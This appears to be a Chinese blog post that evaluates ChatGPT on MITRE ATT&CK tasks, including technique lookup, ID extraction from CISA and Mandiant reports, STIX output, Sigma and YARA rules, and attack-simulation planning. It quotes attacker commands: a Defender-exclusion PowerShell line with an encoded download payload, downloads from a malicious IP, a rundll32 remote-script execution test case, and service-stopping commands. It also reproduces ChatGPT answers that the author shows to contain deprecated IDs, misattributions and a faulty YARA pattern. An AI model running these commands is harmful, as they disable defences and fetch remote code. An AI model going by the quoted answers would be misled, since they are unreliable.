天天看點

ChatGPT在MITREATT&CK落地過程中的應用能力

作者:區塊軟體開發

近期ChatGPT比較火,ChatGPT概念的股票也節節高漲,于是蹭個ChatGPT熱點,來評估下在MITRE ATT&CK落地過程中,ChatGPT能發揮出怎麼樣的作用。

簡單介紹下ChatGPT和MITRE ATT&CK:

ChatGPT:

是由OpenAI開發的一個人工智能聊天機器人程式,于2022年11月推出。該程式使用基于GPT-3.5架構的大型語言模型并通過強化學習進行訓練。ChatGPT目前仍以文字方式互動,而除了可以透過人類自然對話方式進行互動,還可以用于相對複雜的語言工作,包括自動文本生成、自動問答、自動摘要等在内的多種任務。

OpenAI估值已漲至290億美元。上線兩個月後,使用者數量達到1億。

MITRE ATT&CK

全稱是 Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK),它是一個站在攻擊者的視角來描述攻擊中各階段用到的技術的模型。将已知攻擊者行為轉換為結構化清單,将這些已知的行為彙總成戰術和技術,并通過幾個矩陣以及結構化威脅資訊表達式(STIX)、名額資訊的可信自動化交換(TAXII)來表示。由于此清單相當全面地呈現了攻擊者在攻擊網絡時所采用的行為,是以對于各種進攻性和防禦性度量、表示和其他機制都非常有用。多用于模拟攻擊、評估和提高防禦能力、威脅情報提取和模組化、威脅評估和分析。

本文主要從以下幾個方面考察ChatGPT在MITRE ATT&CK落地過程中的應用能力:

  • 基礎能力:對MITRE ATT&CK技術點的認識;
  • 威脅情報能力:根據文本提取ATT&CK ID;歸因能力;
  • 檢測、評估能力:檢測某ATT&CK技術點的能力;評估組織内對某攻擊技術的防禦能力。
  • 模拟攻擊能力:針對具體的ATT&CK ID,提供模拟攻擊方案;

一、基礎能力:

首先考察他是否認識某個ATT&CK技術點:

T1566.001是什麼意思

T1566.001是一個來自于MITRE ATT&CK架構的術語,指的是"Phishing: Spearphishing Attachment"(釣魚:定向釣魚附件)。

這個術語描述了攻擊者使用電子郵件或其他通信方式向特定的個人或組織發送含有惡意附件的資訊的行為。這些附件可能是文檔、PDF檔案、壓縮檔案等,包含惡意軟體,例如遠端通路工具(RAT)、木馬、勒索軟體等,一旦被打開,就會感染受害者的計算機系統。

針對特定目标的釣魚攻擊通常比廣泛的釣魚攻擊更具針對性和有效性,因為攻擊者可以定制釣魚郵件以使其看起來更加真實、誘人和可信,進而增加受害者打開附件的可能性。T1566.001是一個常見的攻擊技術,許多安全組織都将其列為常見的網絡攻擊類型之一。

這個回答其實是很棒的。他并沒有完全照抄MITRE ATT&CK官方文檔中的對于T1566.001的說明:

ChatGPT在MITREATT&CK落地過程中的應用能力

他是用自己的語言進行了總結,并且還是翻譯後的且翻譯效果比google的機翻要好。可以很友善在SOC、EDR等産品中直接嵌入。

ChatGPT在MITREATT&CK落地過程中的應用能力

接着問他對于某個技術和ATT&CK的映射能力:

列舉下跟powershell相關的ATT&CK
以下是一些與PowerShell相關的MITRE ATT&CK技術:
  1. T1059.001:PowerShell(指令行界面):使用指令行界面工具PowerShell進行攻擊,這是一種常見的攻擊技術,攻擊者可以使用PowerShell腳本來執行各種惡意操作。
  2. T1086:PowerShell:這個技術描述了攻擊者如何使用PowerShell腳本來實作攻擊目的,例如下載下傳和執行惡意代碼、浏覽檔案系統、與遠端伺服器通信等。
  3. T1027:Obfuscated Files or Information:這個技術描述了攻擊者如何使用各種技術(包括PowerShell腳本)來混淆惡意代碼,使其難以被檢測和分析。
  4. T1116:Code Signing:這個技術描述了攻擊者如何擷取有效的代碼簽名證書,以便在PowerShell腳本中簽署其惡意代碼,以使其看起來更加可信。
  5. T1085:Rundll32:這個技術描述了攻擊者如何使用Windows系統中的rundll32.exe工具來執行惡意代碼,包括在PowerShell腳本中調用rundll32.exe來執行惡意操作。
  6. T1055:Process Injection:這個技術描述了攻擊者如何将惡意代碼注入到合法程序中,例如将惡意代碼注入到正在運作的PowerShell程序中。
這些技術僅僅是與PowerShell相關的MITRE ATT&CK技術的一部分。攻擊者經常利用PowerShell來進行各種惡意活動,是以對PowerShell相關的攻擊技術進行監控和檢測至關重要。

這個回答也不錯。基本列舉出了powershell可以在哪些技術點中使用。

繼續問他檢測T1059.001需要的資料源:

在EDR上增加哪些資料源,可以檢測T1059.001
T1059.001是指PowerShell腳本中的執行。要檢測此技術,您可以考慮以下資料源:
  1. PowerShell日志 - PowerShell在執行腳本時會生成日志,記錄指令、參數、輸出等資訊,這些資訊可以用于檢測PowerShell腳本的執行情況。
  2. 程序監控 - 監控程序建立、退出和指令行參數等資訊,可以檢測到通過PowerShell執行的指令。
  3. 檔案監控 - 監控PowerShell腳本檔案的建立和修改,可以及時發現攻擊者上傳并執行的PowerShell腳本。
  4. 網絡流量監控 - 監控PowerShell與遠端主機之間的網絡流量,可以檢測到通過PowerShell執行的遠端指令。
  5. Windows事件日志 - 監控Windows事件日志,可以檢測到與PowerShell腳本執行相關的事件,例如PowerShell腳本的執行、PowerShell程序的建立和退出等。
  6. 安全軟體日志 - 一些安全軟體可以檢測到PowerShell腳本的執行情況,例如防毒軟體可以檢測到PowerShell腳本下載下傳、上傳、執行等行為。
  7. 作業系統日志 - 監控作業系統日志,可以檢測到PowerShell腳本執行失敗、執行結果異常等情況。
通過這些資料源的綜合使用,可以更好地檢測到T1059.001技術的使用情況。

本以為他會學習MITRE ATT&CK文檔裡的DataSource資料源:

ChatGPT在MITREATT&CK落地過程中的應用能力

但是意外的是,他并沒有采用,而是根據自己的了解來回答檢測資料源的問題。

ChatGPT在MITREATT&CK落地過程中的應用能力

那針對該技術點的緩解措施呢?于是繼續提問:

T1059.001的緩解措施有哪些
T1059.001是指利用PowerShell腳本執行惡意代碼的攻擊技術,為了緩解此攻擊技術,可以采取以下措施:
  1. 應該限制使用者對PowerShell的使用權限,隻有特定的管理者或從業人員才能使用PowerShell執行腳本。可以使用政策或組政策來限制使用者對PowerShell的使用。
  2. 實施應用程式控制,隻允許準許的PowerShell腳本運作。可以使用應用程式白名單,隻允許運作指定的PowerShell腳本。
  3. 安裝和更新防病毒軟體,使用最新的惡意軟體識别庫來檢測并清除潛在的惡意代碼。
  4. 加強對系統日志的監控,特别是監控PowerShell的執行情況,以便及早發現并響應異常行為。
  5. 針對組織内部員工進行釣魚模拟、安全教育訓練等安全意識教育訓練,以提高員工對于威脅的敏感度,避免被攻擊者通過社會工程學手段欺騙執行惡意代碼。
  6. 對于需要使用PowerShell的業務應用,應該實作代碼審計和安全審計,確定腳本的安全性和合規性。
  7. 更新系統和應用程式,確定安裝最新的安全更新檔,以修複已知的安全漏洞,降低系統被攻擊的風險。
綜上所述,通過限制PowerShell的使用權限、應用程式控制、安裝防病毒軟體、加強系統日志監控、加強安全意識教育訓練、實施代碼審計和安全審計等措施,可以有效緩解T1059.001攻擊技術的風險。

同樣的,并未完全使用官方的緩解措施,很棒!

ChatGPT在MITREATT&CK落地過程中的應用能力
ChatGPT在MITREATT&CK落地過程中的應用能力

繼續考察ATT&CK技術點群組織的關系。于是問它:

請列舉下APT32組織所使用的ATT&CK
APT32(又稱OceanLotus)是一組來自越南的攻擊者組織,他們使用多種進階持久性攻擊政策和技術來攻擊目标。以下是一些與APT32組織相關的MITRE ATT&CK技術:
  1. T1078:Valid Accounts:APT32組織常常使用竊取的合法憑據來繞過防禦,并通路目标網絡中的敏感資料。
  2. T1071:Application Layer Protocol:APT32組織使用多種應用層協定,例如HTTP、HTTPS、DNS等,與C2伺服器通信并下載下傳惡意軟體。
  3. T1003:Credential Dumping:APT32組織使用各種技術竊取目标計算機的憑據,例如使用Mimikatz和其他密碼破解工具從記憶體中提取明文密碼。
  4. T1064:Scripting:APT32組織使用各種腳本技術來執行其攻擊代碼,包括使用PowerShell、VBScript、JavaScript等。
  5. T1055:Process Injection:APT32組織使用程序注入技術将惡意代碼注入到合法程序中,進而避免被檢測和清除。
  6. T1047:Windows Management Instrumentation:APT32組織使用WMI執行各種操作,例如下載下傳和執行惡意代碼,收集資訊等。
  7. T1053:Scheduled Task:APT32組織使用計劃任務技術在目标計算機上定期執行惡意代碼,進而維持持久性。
這些技術隻是APT32組織使用的MITRE ATT&CK技術的一部分,該組織經常使用新技術和工具來繞過防禦并實作其攻擊目的。對這些技術的了解和監控是保護組織免受APT32組織攻擊的重要步驟。

這個其實對它沒什麼難度。還對APT32組織進行了解釋。

ChatGPT在MITREATT&CK落地過程中的應用能力

不過,我更感興趣的是反過來的能力,根據技術點映射組織。繼續盤它:

哪些APT組織使用過T1574.002?并列舉出他們具體的使用過程。
T1574.002是指“Hijack Execution Flow: DLL Side-Loading”,這個技術通常用于在受害者系統上執行惡意代碼。以下是一些已知使用T1574.002的APT組織以及他們使用過程的具體細節:
  1. APT41:這個APT組織總部位于中國,它已經在多個攻擊活動中使用了T1574.002技術,包括使用SideLoading攻擊器來安裝惡意軟體,繞過安全檢查。在一次攻擊中,APT41使用了一個被稱為Winnti的惡意軟體家族,該軟體家族使用了T1574.002來繞過代碼簽名和檢測。
  2. APT29(也稱為Cozy Bear):這個APT組織據信與俄羅斯政府有聯系,它已經使用T1574.002來執行其定制的惡意軟體,例如MiniDuke和SeaDuke。在一次攻擊中,APT29使用了T1574.002來通過Adobe Acrobat Reader漏洞執行惡意代碼。
  3. APT32(也稱為OceanLotus):這個APT組織總部位于越南,它已經在多個攻擊活動中使用了T1574.002技術,例如使用SideLoading攻擊器來安裝惡意軟體,竊取敏感資訊。在一次攻擊中,APT32使用了一個被稱為SOUNDBITE的惡意軟體家族,該軟體家族使用了T1574.002來執行其惡意代碼。
需要注意的是,這些APT組織通常會使用多種技術進行攻擊,T1574.002隻是其中之一。是以,采取有效的安全措施來保護系統和資料仍然是至關重要的。

看看結果,依然穩。它首先解釋了該技術點,然後列出了這些組織。還對組織進行了解釋,并列舉了相關的過程。

ChatGPT在MITREATT&CK落地過程中的應用能力

上面問題主要考察了ChatGPT對ATT&CK相關概念的了解程度,結果還是非常讓人滿意的。

二、威脅情報能力:

威脅情報能力主要展現在:

  • 如何根據一段文字,準确的提取出對應的ATT&CK ID;
  • 針對ATT&CK ID,進行簡單的溯源和歸因
  • 機讀情報

針對第一個問題,其實有過一些專門的機器學習的項目,如TRAM(https://github.com/mitre-attack/tram),看看ChatGPT能不能搞定。

而針對第二個問題,雖然根據某次攻擊活動中使用的ATT&CK來進行歸因是不科學的,也是不現實的。但是如果能輔助縮小一些範圍還是非常有幫助的。

第三個問題,主要是考察能否把人讀的情報用stix表示出來。

一個一個來盤它。

首先我們選取一篇文章:

Alert (AA22-320A):Iranian Government-Sponsored APT Actors Compromise Federal Network, Deploy Crypto Miner, Credential Harvester(https://www.cisa.gov/uscert/ncas/alerts/aa22-320a)

選取它的目的是該文章中就列出了具體的ATT&CK技術點:

請識别出下面這段文字中的所有ATT&CK技術點,并标注在原文後面的[]裡:

In February 2022, the threat actors exploited Log4Shell for initial access to the organization’s unpatched VMware Horizon server. As part of their initial exploitation, CISA observed a connection to known malicious IP address 182.54.217[.]2 lasting 17.6 seconds.

The actors’ exploit payload ran the following PowerShell command [T1059.001] that added an exclusion rule to Windows Defender:

powershell try{Add-MpPreference -ExclusionPath 'C:\'; Write-Host 'added-exclusion'} catch {Write-Host 'adding-exclusion-failed' }; powershell -enc "$BASE64 encoded payload to download next stage and execute it"

The exclusion rule allowlisted the entire c:\drive, enabling threat actors to download tools to the c:\drive without virus scans. The exploit payload then downloaded mdeploy.text from 182.54.217[.]2/mdepoy.txt to C:\users\public\mde.ps1. When executed, mde.ps1 downloaded file.zip from 182.54.217[.]2 and removed mde.ps1 from the disk.

以下是在文本中提到的ATT&CK技術點,并标注在原文後面的[]裡:
  • T1059.001 - PowerShell [actors’ exploit payload ran the following PowerShell command]
  • 初步通路 - 由于Log4Shell漏洞擷取VMware Horizon伺服器的初始通路。[the threat actors exploited Log4Shell for initial access to the organization’s unpatched VMware Horizon server]
  • 惡意IP位址 - 182.54.217[.]2是一個已知的惡意IP位址,與攻擊者的連接配接持續了17.6秒。[CISA observed a connection to known malicious IP address 182.54.217[.]2 lasting 17.6 seconds.]
  • 下載下傳 - 攻擊者下載下傳了一個zip檔案到C:\users\public\。[the exploit payload then downloaded mdeploy.text from 182.54.217[.]2/mdepoy.txt to C:\users\public\mde.ps1]
  • 隐藏檔案删除 - 攻擊者從磁盤中删除了mde.ps1檔案。[When executed, mde.ps1 downloaded file.zip from 182.54.217[.]2 and removed mde.ps1 from the disk.]

它提取出了5個ATT&CK ID。有些遺憾,有幾個技術點它并沒有寫上對應的ATT&CK ID,但是可以根據他的描述來推斷出他提取的ATT&CK。

我們對照下它的結果和原文中标注的結果。

原文中标注的結果是:

  • T1190:the threat actors exploited Log4Shell [T1190] for initial access [TA0001] to the organization’s unpatched VMware Horizon server.
  • ChatGPT同樣識别到了這句,但是它僅提取了戰術:初始通路[TA0001] ,并未提取具體的技術。
  • 事實上,多重新整理幾次,它的結果是會變的。某些結果會識别出這個ID:
  • T1059.001 :The actors’ exploit payload ran the following PowerShell command [T1059.001]
  • 針對這個點,ChatGPT進行了準确的提取。
  • T1562.001:added an exclusion rule to Windows Defender。
  • 這個點,ChatGPT并未識别到。
  • T1105:The exploit payload then downloaded mdeploy.text from 182.54.217[.]2/mdepoy.txt to C:\users\public\mde.ps1 .
  • 這個點,ChatGPT也進行了準确的提取,不過未給出ID,稍微有點遺憾。
  • T1070.004:removed mde.ps1 from the disk
  • 這個點同樣也進行了準确的提取,但是同樣未給出ID。

除了原文中标注的ATT&CK ID,他還額外的标注了一個原文中所沒有的:

惡意IP位址 - 182.54.217[.]2是一個已知的惡意IP位址,與攻擊者的連接配接持續了17.6秒。[CISA observed a connection to known malicious IP address 182.54.217[.]2 lasting 17.6 seconds.]

不過,這個筆者不知道它标注的是哪個ID。有知道的同行麻煩回報給我,感謝。

雖然,但是。總體來說,筆者對ChatGPT的效果還是挺滿意的。但是不禁要問,是不是因為原文中給出了标注,是以才提取的這麼好?

于是,再次找了一篇未标注的文章段落讓ChatGPT提取:

ChatGPT在MITREATT&CK落地過程中的應用能力

原文位址:https://www.mandiant.com/resources/blog/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation

請列出下面這段文字中使用的ATT&CK技術點ID,并在原文後的[]裡标注出來:

Throughout FireEye’s tracking of FIN7 campaigns, the attackers have attempted to stay ahead of the game and thwart detection, using novel tactics and displaying characteristics of a well-resourced operation. For example, in April 2017, FireEye blogged about FIN7’s spear phishing emails that leveraged hidden shortcut files (LNK files) to initiate the infection and VBScript functionality launched by mshta.exe to infect the victim. This was a direct departure from their established use of weaponized Office macros and highlighted the group’s adaptive nature to evade detection.

FireEye also previously reported on FIN7’s use of the CARBANAK backdoor as a post-exploitation tool to cement their foothold in a network and maintain access to victim environments. CARBANAK is well known for its use in highly profitable and sophisticated attacks dating back to 2013, with usage attributable to FIN7 beginning in late 2015, although how interconnected the campaigns employing the malware over this five-year span are is unclear. FIN7’s use of CARBANAK is particularly notable due to their use of creative persistence mechanisms to launch the backdoor. The group leveraged an application shim database that injected a malicious in-memory patch into the Services Control Manager ("services.exe") process, and then spawned a CARBANAK backdoor process. FIN7 also used this tactic to install a payment card harvesting utility.

Another notable characteristic of FIN7 has been their heavy use of digital certificates. Unsurprisingly, malicious threat actors have sought to exploit the legitimacy afforded by these certificates. By digitally signing their phishing documents, backdoors and later stage tools, FIN7 was able to bypass many security controls that may limit execution of macros from Office documents and restrict execution of unsigned binaries on trusted systems.

  • T1192 Spearphishing Link [used by FIN7 to initiate the infection using hidden shortcut files (LNK files)]
  • T1059 Command and Scripting Interpreter [used by FIN7 to infect the victim with VBScript functionality launched by mshta.exe]
  • T1105 Ingress Tool Transfer [FIN7's use of the CARBANAK backdoor as a post-exploitation tool]
  • T1078 Valid Accounts [FIN7's use of creative persistence mechanisms to launch the backdoor and maintain access to victim environments]
  • T1116 Code Signing [FIN7's use of digital certificates to bypass security controls]

它同樣進行了提取。我們根據他的結果來進行分析:

  • T1192:是針對釣魚的一個技術點。它進行了準确的提取。可是,這個ID已經被廢棄,轉而成為新的T1566.002。是以,雖然結果正确,但是資料有些老。
  • 不過也可以了解,比較根據公開資料,它的學習資料是到2021年的。
  • T1059:是針對VBScript的一個技術點。不過它未标出子技術,更精确的應該是T1059.005
  • 而針對後半句"VBScript functionality launched by mshta.exe",它未标注出mshta的利用,是以遺漏了T1218.005:Signed Binary Proxy Execution: Mshta
  • T1105:使用CARBANAK後門。T1105這個技術點是遠端工具拷貝,是使用工具将工具或其他檔案從外部系統傳輸到受感染的環境中。粗看起來沒什麼關系,但事實上CARBANAK後門具有傳輸檔案的能力。是以筆者覺得這個标注沒什麼問題。
  • T1078:這個技術點同樣針對CARBANAK這個後門。不過這個點的提取有點問題,文中的描述并未提到有效賬戶這個技術點。不過,筆者猜測,可能是CARBANAK後門跟CARBANAK組織同名,而CARBANAK組織有使用過T1078,是以造成了提取錯誤?
  • T1116:代碼簽名。提取準确,但是這個技術點在新版本中也已經廢棄,改為T1553.002。

不過,還有2個技術點未提取到:

  • T1546.011:Event Triggered Execution: Application Shimming。[The group leveraged an application shim database that injected a malicious in-memory patch into the Services Control Manager ("services.exe") process]
  • T1137.001:Office Application Startup: Office Template Macros.[FIN7 was able to bypass many security controls that may limit execution of macros from Office documents and restrict execution of unsigned binaries on trusted systems.]

雖然存在資料未更新和遺漏的問題,但整體的效果還是挺不錯的。

ChatGPT在MITREATT&CK落地過程中的應用能力

最後再試試中文文章的識别:

ChatGPT在MITREATT&CK落地過程中的應用能力

看看對中文的識别和提取能力如何。

請列出下面這段文字中使用的ATT&CK技術點ID:

2020年7月,瑞典計算機黑客Tillie Kottmann(非ATW成員)曾公開曝光洩露了微軟、Adobe、聯想、AMD、高通、聯發科、通用電氣、任天堂、迪士尼、華為海思等 50 家科技公司部分項目的源代碼,該黑客曾被美國FBI調查,目前仍在指控中。根據FBI調查,黑客Tillie Kottmann利用的是SonarQube服務的配置失誤竊取的相關公司源代碼。SonarQube是一款開源代碼品質管理的系統,被廣泛的應用于相關企業的項目開發流程中,黑客先是掃描了暴露于公網上的SonarQube資産,它們通常預設使用9000端口,再利用預設的管理者賬戶(如使用者名為admin,密碼也是admin)登入來竊取源代碼。

以下是在文本中提到的ATT&CK技術點ID:
  • T1110:密碼破解
  • T1219:遠端通路工具(RATs)
  • T1078.002:常見憑證攻擊(Default Accounts)
  • T1210:利用配置錯誤的漏洞進行攻擊(Exploitation of Remote Services)

基本準确。不過從文中并未讀出使用了T1219:遠端通路工具(RATs)。

ChatGPT在MITREATT&CK落地過程中的應用能力

接下來,我們來看看歸因。

針對但技術ID,上面基礎能力測試中,ChatGPT已經給出了很滿意的結論。那麼針對多ID組合,還能否識别出?

選取某BITTER的報告進行提問:

ChatGPT在MITREATT&CK落地過程中的應用能力

原文:https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/offshore%20APT%20organization/Bitter/27-08-19/Malware%20analysis%2031-08-19.md

某次攻擊活動,使用了T1203、T1060、T1012、T1105技術,請問可能是哪個攻擊組織的攻擊活動?

T1203、T1060、T1012、T1105是MITRE ATT&CK架構中的四種攻擊技術,用于描述攻擊者在攻擊過程中可能使用的不同技術手段。然而,這些技術手段并不能準确地确定是哪個攻擊組織進行的攻擊活動。

攻擊組織的攻擊活動通常具有多樣性和複雜性,可能會使用多種攻擊技術和手段,MITRE ATT&CK架構中描述的技術手段可能會被多個攻擊組織所使用。

是以,如果隻知道攻擊使用了T1203、T1060、T1012、T1105等攻擊技術,無法準确判斷是哪個攻擊組織發動的攻擊活動。需要進一步分析攻擊活動的其他特征和證據,才能進行更準确的判斷。

針對這個問題,ChatGPT并未給出相關的結論。不過正如筆者上面所說,根據ATT&CK ID來進行歸因并不科學。而ChatGPT也給出了同樣的建議:

是以,如果隻知道攻擊使用了T1203、T1060、T1012、T1105等攻擊技術,無法準确判斷是哪個攻擊組織發動的攻擊活動。需要進一步分析攻擊活動的其他特征和證據,才能進行更準确的判斷。
ChatGPT在MITREATT&CK落地過程中的應用能力

最後來看機讀情報:

針對APT32組織的TTPs,請用stix2.1進行描述
以下是一個使用STIX 2.1協定描述APT32組織的TTPs的示例:
{
   "type": "attack-pattern",
   "id": "attack-pattern--16f57c0c-9f2a-4bae-9853-
50f3a3bca29e",
   "created": "2021-09-01T00:00:00.000Z",
   "modified": "2021-09-01T00:00:00.000Z",
   "name": "APT32 Spearphishing Attachment Tactic",
   "description": "APT32 uses spearphishing emails with 
attachments to deliver malware to victims." ,
   "kill_chain_phases": [
     {
       "kill_chain_name": "mitre-attack",
       "phase_name": "initial-access"
     }
   ],
   "external_references": [
     {
         "source_name": "mitre-attack",
         "external_id": "T1566.001",
         "url": 
"https://attack.mitre.org/techniques/T1566/001/"
     }
   ] 
 },
 {
    "type": "malware",
    "id": "malware--d181f1c7-6e8f-45c2-b9b9-23b27bcbbf1f",
    "created": "2021-09-01T00:00:00.000Z",
    "modified": "2021-09-01T00:00:00.000Z",
    "name": "OceanLotus",
    "description": "OceanLotus is a backdoor malware 
    used by APT32.",
    "labels": [
        "remote-access-trojan",
        "backdoor"
    ],
    "kill_chain_phases": [
        {
            "kill_chain_name": "mitre-attack",
            "phase_name": "command-and-control"
        }
    ],
    "external_references": [
        {
            "source_name": "mitre-attack",
            "external_id": "S0069",
            "url": 
            "https://attack.mitre.org/software/S0069/"
        }
    ]
},
{
    "type": "tool",
    "id": "tool--2d07c6f1-0b27-442e-bce2-dcdfe6d1f6ed",
    "created": "2021-09-01T00:00:00.000Z",
    "modified": "2021-09-01T00:00:00.000Z",
    "name": "Mimikatz",
    "description": "Mimikatz is a credential dumping tool 
    used by APT32.",
    "kill_chain_phases": [
        {
            "kill_chain_name": "mitre-attack",
            "phase_name": "credential-access"
        }
    ],
    "external_references": [
        {
            "source_name": "mitre-attack",
            "external_id": "S0002",
            "url": 
            "https://attack.mitre.org/software/S0002/"
        }
    ]
}           
在上面的示例中,我們描述了APT32組織使用的一些常見TTPs,包括“Spearphishing Attachment”攻擊戰術,使用的“OceanLotus”後門惡意軟體和“Mimikatz”憑證轉儲工具。我們還指定了每個TTP與MITRE ATT&CK中定義的攻擊鍊的不同階段。
ChatGPT在MITREATT&CK落地過程中的應用能力

三、檢測、評估能力

考察如何檢測某個技術點,以及寫規則的能力:

針對技術點的檢測方案和資料源,基礎測試裡已經給出了解答。下面主要考察下寫規則能力:

請給下面的T1218.011的測試案例編寫對于的sigma規則:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();window.close();

以下是針對T1218.011測試案例的一個可能的sigma規則:
title: T1218.011 - Signed Script Proxy Execution
status: experimental
description: Detects the use of the Signed Script Proxy
Execution technique to execute malicious code.


detection:
   selection:
   EventID: 1
   CommandLine:
      - '*\\rundll32.exe * 
javascript:"\\..\\mshtml,RunHTMLApplication 
";document.write();GetObject("script:#
{file_url}").Exec();window.close();'


  condition: selection
  
  
output:
    title: T1218.011 - Signed Script Proxy Execution
    description: Detected the use of the Signed Script 
    Proxy Execution technique to execute malicious code.
    tags:
      - attack.t1218.011
    level: high
    type: attack           
這個sigma規則的目的是檢測使用T1218.011技術執行的攻擊。規則比對的條件是程序指令行中包含rundll32.exe、javascript和mshtml,并且字元串中包含指定的檔案URL變量。如果規則比對,輸出将包括标題、描述、标簽和級别資訊。

編的還可以。

ChatGPT在MITREATT&CK落地過程中的應用能力

繼續測試下yara規則:

請舉例一個檢測T1027.002的yara規則
下面是一個簡單的 YARA 規則示例,可用于檢測使用 UPX 工具進行壓縮的可執行檔案,即可能被用于軟體包裝攻擊:
rule detect_packed_files {    
meta:        
    description = "Detects packed executable files"     
    author = "Your Name"    
    
strings:        
    $upx = "UPX"    
    
condition:        
    $upx in (0..4096)}           
在這個規則中,使用了 YARA 的字元串比對功能,搜尋檔案前 4096 位元組内是否包含 "UPX" 字元串,如果包含則認為該檔案可能被壓縮或加密。如果您想更準确地檢測軟體包裝攻擊,可以添加更多的字元串或其他特征。值得注意的是,這隻是一個簡單的示例規則,實際應用中需要根據具體情況進行修改和優化。

這規則雖然談不上錯誤,但是也着實太過于簡單了。

ChatGPT在MITREATT&CK落地過程中的應用能力

再來一次:

請舉例一個檢測T1027.002的yara規則
下面是另一個可以用于檢測軟體包裝(T1027.002)的 YARA 規則示例,使用的是更全面的字元串特征比對:
rule software_packing {
meta:
    description = "Detects the use of software packing 
    for executable files"        
    author = "Your Name"    
    
 strings:        
     $packed = "Packed by:"        
     $packer = "UPX"
     $entropy = { 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 
     50 64 89 25 ?? ?? ?? ?? 83 EC ?? 8B 54 24 ?? 33 C0 
     55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8B 44 24 ?? 50 
     68 ?? ?? ?? ?? 64 FF 30 64 89 20 68 ?? ?? ?? ?? 8D 
     44 24 ?? 50 FF 74 24 ?? E8 }
     
condition:        
     any of them 
}           

在這個規則中,使用了三個字元串特征。第一個字元串特征 $packed 表示檔案是否包含了 "Packed by:",這是一些軟體包裝工具在壓縮檔案時會添加的字元串。第二個字元串特征 $packer 表示檔案是否包含了常見的軟體包裝工具(如 UPX)的辨別符。第三個字元串特征 $entropy 是一個十六進制位元組序列,表示了一個特定的檔案熵值計算公式,可以用于檢測檔案是否具有異常的熵值,是另一種檢測軟體包裝的方式。

這個規則包含了多個條件,并使用了 any of them 表示隻要有一個條件比對成功即可觸發規則。需要注意的是,這個規則可能存在一定的誤報率,因為某些合法的軟體也可能包含這些特征。是以,實際使用中需要根據具體情況進行優化和調整。

總算是看起來像我心目應該是的yara規則的樣子。

ChatGPT在MITREATT&CK落地過程中的應用能力

不過仔細看,還是有錯誤。

1)條件是any of them,那意味着這規則跟剛才的沒啥差別,甚至還不如。上一個回答裡的規則至少把"UPX"的字元串限定在前4096位元組裡。

2)即便把any of them修改成all of them呢?需要驗證下它的那個二進制串的準确性:

這段二進制,把通配都修改為00,看看代碼長啥樣:

ChatGPT在MITREATT&CK落地過程中的應用能力

然後再随便找一個upx的檔案,沒找到。印象中UPX也沒有這樣的代碼。

是以,看似不錯的yara規則還是存在不少的問題。離實戰還有一段距離。

最後,再來看下怎麼評估某個攻擊繼續的防禦能力:

怎麼使用ATT&CK來評估組織内的防攻擊鍊攻擊的能力?請舉例。
以下是一個使用MITRE ATT&CK架構來評估組織内的防禦鍊攻擊能力的示例:
  1. 了解ATT&CK架構: 首先,需要熟悉MITRE ATT&CK架構,并了解該架構用于描述攻擊者使用的常見戰術、技術和過程(TTP)。這包括熟悉ATT&CK中的不同階段和分類,例如攻擊鍊階段、資料源和平台等。
  2. 明确組織的安全目标和重要資源: 假設我們正在評估一個金融機構的防禦鍊攻擊能力。在這種情況下,組織的安全目标可能包括防止黑客入侵銀行賬戶,保護客戶的個人和财務資訊,以及確定交易系統的可用性。
  3. 對比ATT&CK群組織内的安全控制: 使用ATT&CK架構的不同階段,從初始通路到持久性,再到資料洩露,對比組織内的安全控制。例如,在評估組織的防禦鍊攻擊能力時,我們可以使用ATT&CK中的“持久性”階段來确定組織是否有足夠的措施來防止攻擊者在系統中留下後門。
  4. 定義用于評估防禦鍊攻擊能力的名額: 在這個例子中,我們可以定義一些名額來評估組織對不同攻擊的準備程度。例如,我們可以評估組織的反病毒軟體是否能夠檢測常見的惡意軟體,以及網絡安全監控是否能夠檢測常見的攻擊行為。
  5. 進行評估: 最後,我們可以使用定義的名額對組織的防禦鍊攻擊能力進行評估。例如,我們可以模拟一次釣魚攻擊,并檢視組織是否有足夠的安全控制來防止攻擊者入侵系統。我們還可以分析組織的日志資料,以确定是否有異常行為和惡意活動。
綜上所述,通過使用MITRE ATT&CK架構評估組織的防禦鍊攻擊能力,我們可以識别組織中可能需要加強的區域,并制定相應的安全措施來提高組織的防禦能力。

這裡沒什麼好說的,都是各種套話。。。

ChatGPT在MITREATT&CK落地過程中的應用能力

四、模拟攻擊能力

針對某技術的測試用例:

請列舉兩個具體的T1489的測試用例
T1489是指“服務停止”,這個技術通常與攻擊者試圖停止或禁用特定的服務相關聯。以下是兩個具體的T1489測試用例:
  1. 在Windows作業系統上,測試攻擊者是否能夠使用指令行或PowerShell腳本停止特定的服務,例如Windows防火牆服務。攻擊者可以使用以下指令來嘗試停止服務:
  2. net stop [service_name]
  3. 如果服務成功停止,則表示攻擊者可以使用這種技術禁用該服務。
  4. 在Linux作業系統上,測試攻擊者是否可以使用指令行或腳本停止特定的服務,例如SSH服務。攻擊者可以使用以下指令來嘗試停止服務:
  5. service ssh stop
  6. 如果服務成功停止,則表示攻擊者可以使用這種技術禁用該服務。
需要注意的是,這些測試用例應該僅用于在授權的環境中進行安全測試和驗證,以確定組織的安全措施能夠防止類似的攻擊。在未經授權的情況下使用這些測試用例可能會違反法律。

雖然給出的例子比較簡單,但也确實是測試用例。并且給出了不同系統的。

ChatGPT在MITREATT&CK落地過程中的應用能力

那麼針對某個組織的模拟攻擊呢?

某企業要使用Fin7組織進行模拟攻擊演習,請根據TTPs設計一個根據ATT&CK的模拟攻擊的過程方案。
針對某企業要使用Fin7組織進行模拟攻擊演習,可以根據MITRE ATT&CK架構的TTPs(戰術、技術和過程)來設計一個攻擊方案,下面是一個基本的方案,供參考:
  1. 收集情報:使用開源情報和可用的公共情報來源,收集關于Fin7組織的資訊,包括攻擊技術、攻擊工具、目标行業和常見攻擊目标等。
  2. 釣魚攻擊(T1566):使用Fin7組織常用的釣魚攻擊方式,發送僞裝成合法機構的電子郵件,騙取目标使用者的憑據或将惡意軟體注入到受害者的計算機中。
  3. 滲透測試(T1055):使用Fin7組織常用的攻擊工具和技術,如針對POS終端的攻擊和使用菜單注入技術等,嘗試在目标系統中擷取敏感資訊并擷取持久化通路權限。
